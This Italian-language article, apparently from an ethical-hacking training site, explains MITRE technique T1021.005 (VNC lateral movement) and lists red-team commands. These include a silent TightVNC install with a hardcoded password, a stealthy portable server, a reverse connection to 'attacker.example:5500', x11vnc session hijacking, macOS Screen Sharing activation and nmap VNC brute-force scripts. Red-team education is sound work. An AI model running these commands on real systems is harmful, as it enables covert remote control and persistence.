Controllo Remoto via VNC: Virtual Network Computing (T1021.005)
Virtual Network Computing rappresenta una delle vie più subdole per il movimento laterale in ambienti enterprise. A differenza di RDP, VNC condivide lo schermo trasmettendo framebuffer, input di mouse e tastiera attraverso il protocollo RFB, permettendo a un attaccante autenticato di operare sulla macchina bersaglio come se fosse fisicamente seduto davanti alla console.
La tecnica T1021.005 è mappata sulla tattica TA0008 (Lateral Movement) e sfrutta tipicamente Valid Accounts (T1078) per l'autenticazione iniziale. Una volta ottenuto il controllo, l'avversario può aprire documenti, scaricare payload, eseguire comandi arbitrari e usare la sessione grafica per raccogliere informazioni utili al pivot verso asset di valore. Alcune implementazioni VNC, storicamente, hanno mostrato vulnerabilità a brute force e a memory corruption, ampliando la superficie d'attacco.
I dati MITRE registrano 4 gruppi APT documentati (tra cui FIN7, Gamaredon Group, Fox Kitten e GCMAN) e 7 famiglie malware che integrano moduli VNC nativi, da TrickBot a Latrodectus. Le mitigazioni ufficiali sono quattro e ruotano attorno a filtraggio di rete, restrizione dell'installazione software, disabilitazione dei componenti non necessari e audit continuo. La combinazione di uso legittimo dello strumento in scenari IT e di abuso da parte di attori sofisticati rende la detection particolarmente sfidante e richiede correlazione multi-sorgente tra processo, sessione utente e traffico di rete.
In un ingaggio red team, l'abuso di VNC parte quasi sempre da credenziali valide raccolte in fasi precedenti (dump LSASS, phishing, riuso password). Lo scopo è ottenere una sessione grafica interattiva che eluda molti controlli focalizzati su shell e PowerShell.
Su Windows lo scenario tipico prevede il deployment silenzioso di TightVNC (open source) o UltraVNC (open source), gli stessi tool documentati per FIN7 e Gamaredon. L'installazione unattended si esegue con MSI:
msiexec /i tightvnc-2.8.x-setup-64bit.msi /quiet ADDLOCAL="Server" SET_USEVNCAUTHENTICATION=1 VALUE_OF_USEVNCAUTHENTICATION=1 SET_PASSWORD=1 VALUE_OF_PASSWORD=P@ssw0rd
Un approccio più stealth prevede l'uso della modalità portable senza installazione, avviando winvnc.exe -run da una directory scrivibile come %APPDATA%. Per bypassare firewall perimetrali è comune sfruttare la reverse connection VNC (porta 5500 lato attaccante in listening mode), che ribalta il flusso e simula traffico in uscita:
winvnc.exe -connect attacker.example:5500
Su Linux il tool di riferimento è x11vnc (open source), che espone una sessione X esistente senza creare display virtuali:
x11vnc -display :0 -auth /run/user/1000/gdm/Xauthority -rfbauth ~/.vnc/passwd -forever -shared
Per environment headless o pivoting server-side, TigerVNC (open source) permette di istanziare display virtuali via vncserver :1 -localhost no. Su macOS, il servizio nativo Screen Sharing si abilita programmaticamente con sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -setvncpw -vncpw P@ss -restart -agent.
Per simulare il comportamento di Fox Kitten, che installava TightVNC su endpoint compromessi come backdoor persistente, si combina l'installazione MSI con la creazione di un servizio dedicato e regole firewall locali che aprono solo la 5900 verso IP fidati. In laboratorio è utile testare anche il relay attraverso Chisel (open source) o ligolo-ng (open source) per tunnellare la 5900 attraverso HTTP/S quando la rete blocca il protocollo RFB in chiaro.
Per la fase di ricognizione preventiva, Nmap (open source) con lo script nmap -p5900-5910 --script vnc-info,vnc-brute,realvnc-auth-bypass
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo